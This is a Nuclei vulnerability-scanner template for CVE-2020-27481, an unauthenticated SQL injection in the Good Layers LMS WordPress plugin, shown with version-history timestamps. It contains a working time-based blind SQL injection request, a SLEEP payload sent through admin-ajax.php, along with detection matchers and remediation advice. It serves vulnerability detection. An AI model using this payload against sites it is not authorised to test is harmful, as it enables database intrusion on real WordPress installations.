nuclei-templates/http/cves/2020/CVE-2020-27481.yaml

49 lines
1.9 KiB
YAML
Raw Normal View History

2022-09-30 16:54:07 +00:00
id: CVE-2020-27481
info:
name: Good Layers LMS Plugin <= 2.1.4 - SQL Injection
author: edoardottt
severity: critical
description: |
An unauthenticated SQL Injection vulnerability in Good Layers LMS Plugin <= 2.1.4 exists due to the usage of "wp_ajax_nopriv" call in WordPress, which allows any unauthenticated user to get access to the function "gdlr_lms_cancel_booking" where POST Parameter "id" was sent straight into SQL query without sanitization.
2023-09-06 12:22:36 +00:00
remediation: |
Upgrade to the latest version of the Good Layers LMS Plugin (2.1.5 or higher) to mitigate this vulnerability.
2022-09-30 16:54:07 +00:00
reference:
2023-04-25 08:38:20 +00:00
- https://wpscan.com/vulnerability/652eaef8-5a3c-4a2d-ac60-b5414565c397
2022-09-30 16:54:07 +00:00
- https://gist.github.com/0xx7/a7aaa8b0515139cf7e30c808c8d54070
- https://nvd.nist.gov/vuln/detail/CVE-2020-27481
classification:
2023-07-11 19:49:27 +00:00
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
2022-09-30 16:54:07 +00:00
cve-id: CVE-2020-27481
2023-07-11 19:49:27 +00:00
cwe-id: CWE-89
2023-10-14 11:27:55 +00:00
epss-score: 0.09369
epss-percentile: 0.94032
2023-09-06 12:22:36 +00:00
cpe: cpe:2.3:a:goodlayers:good_learning_management_system:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: goodlayers
product: good_learning_management_system
2023-09-06 12:22:36 +00:00
framework: wordpress
2023-07-11 19:49:27 +00:00
tags: goodlayerslms,sqli,wpscan,cve,cve2020
2022-09-30 16:54:07 +00:00
2023-05-09 12:43:13 +00:00
http:
2022-09-30 16:54:07 +00:00
- raw:
- |
2023-04-25 08:38:20 +00:00
@timeout: 15s
2022-09-30 16:54:07 +00:00
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
2022-09-30 17:00:00 +00:00
2023-04-25 08:38:20 +00:00
action=gdlr_lms_cancel_booking&id=(SELECT%201337%20FROM%20(SELECT(SLEEP(6)))MrMV)
2022-09-30 16:54:07 +00:00
matchers:
- type: dsl
dsl:
2023-04-25 08:38:20 +00:00
- "duration>=6"
- "status_code == 200"
- "contains(body, 'goodlayers-lms') || contains(body, 'goodlms')"
condition: and
# digest: 4a0a004730450221009162f05729e59f8ae99147af61a6f18281d0fa134dfe80631bb76af5779ce12c022051db372aa01e9a0cf7f3e0cadde60e6245852b1ba3bce2a29cc4fdeb9abba0fe:922c64590222798bb761d5b6d8e72950